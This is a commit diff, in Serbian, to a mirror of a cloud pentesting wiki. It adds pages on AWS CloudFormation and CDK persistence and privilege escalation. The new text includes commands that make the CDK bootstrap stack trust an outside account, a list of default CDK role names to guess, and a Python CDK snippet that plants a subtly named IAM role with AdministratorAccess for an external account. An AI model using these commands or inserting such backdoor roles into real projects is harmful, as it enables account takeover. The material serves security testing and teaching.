mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 14:20:48 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Za više informacija, pristupite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK implementira CFN stack pod nazivom `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da implementiraju CDK projekte u nalog žrtve. Napadač može da iskoristi ovo da sebi obezbedi neograničen pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovnu implementaciju stack-a sa parametrima, ili AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -53,7 +53,7 @@ Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `Upda
|
||||
|
||||
Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.
|
||||
|
||||
Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
|
||||
Sledeća eksploatacija je **varijacija**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stakom i izvršavanje napada.
|
||||
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stekom i izvršavanje napada.
|
||||
|
||||
**Potencijalni uticaj:** Privesc na cloudformation servisne uloge.
|
||||
|
||||
@@ -89,22 +89,67 @@ Ovo je kao prethodna metoda bez prosleđivanja **IAM uloga**, tako da možete sa
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
**Potencijalni Uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.
|
||||
**Potential Impact:** Privesc na cloudformation servisnu ulogu koja je već povezana.
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
Napadač bi mogao da zloupotrebi ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
|
||||
Napadač bi mogao zloupotrebiti ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
|
||||
|
||||
**Potencijalni Uticaj:** Privesc na cloudformation servisne uloge.
|
||||
**Potential Impact:** Privesc na cloudformation servisne uloge.
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
Napadač bi mogao da zloupotrebi ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
|
||||
Napadač bi mogao zloupotrebiti ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
|
||||
|
||||
**Potencijalni Uticaj:** Privesc na povezane cloudformation uloge.
|
||||
**Potential Impact:** Privesc na povezane cloudformation uloge.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk je alat za omogućavanje korisnicima da definišu svoju infrastrukturu kao kod u jezicima koje već poznaju, kao i lako ponovo koriste delove. CDK zatim konvertuje visoko-nivo kod (npr. python) u Cloudformation šablone (yaml ili json).
|
||||
|
||||
Da bi koristili CDK, administrativni korisnik prvo mora da bootstrapuje nalog, što kreira nekoliko IAM uloga, uključujući *exec role*, koja ima \*/\* dozvole. Ove uloge prate strukturu imenovanja `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapovanje mora biti urađeno jednom po regionu po nalogu.
|
||||
|
||||
Po defaultu, CDK korisnici nemaju pristup listi uloga potrebnih za korišćenje CDK, što znači da ćete ih morati odrediti ručno. Ako kompromitujete mašinu programera ili neki CI/CD čvor, ove uloge se mogu preuzeti da vam omoguće sposobnost da implementirate CFN šablone, koristeći `cfn-exec` ulogu da omogućite CFN da implementira bilo koje resurse, potpuno kompromitujući nalog.
|
||||
|
||||
### Određivanje imena uloga
|
||||
|
||||
Ako imate `cloudformation:DescribeStacks`, uloge su definisane u stack-u pod nazivom `CDKToolkit`, i možete izvući imena odatle.
|
||||
|
||||
Ako ste na mašini koja je korišćena za izgradnju i implementaciju CDK projekata, možete ih izvući iz `cdk.out/manafest.json` u korenskom direktorijumu projekata.
|
||||
|
||||
Takođe možete dobro pogoditi koja su. `qualifier` je string dodat uloge koji omogućava više instanci CDK bootstrap-a da budu implementirane odjednom, međutim, podrazumevana vrednost je hard-kodirana na `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Dodavanje malicioznog koda u izvor projekta
|
||||
|
||||
Ako možete da pišete u izvor projekta, ali ne možete sami da ga implementirate (na primer, programer implementira kod putem CI/CD, a ne sa lokalne mašine), i dalje možete kompromitovati okruženje dodavanjem malicioznih resursa u stog. Sledeće dodaje IAM ulogu koja može biti preuzeta od strane naloga napadača u python CDK projektu.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -37,9 +37,15 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite cloudformation d
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a
|
||||
Proverite **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a
|
||||
|
||||
## Codestar
|
||||
|
||||
|
||||
Reference in New Issue
Block a user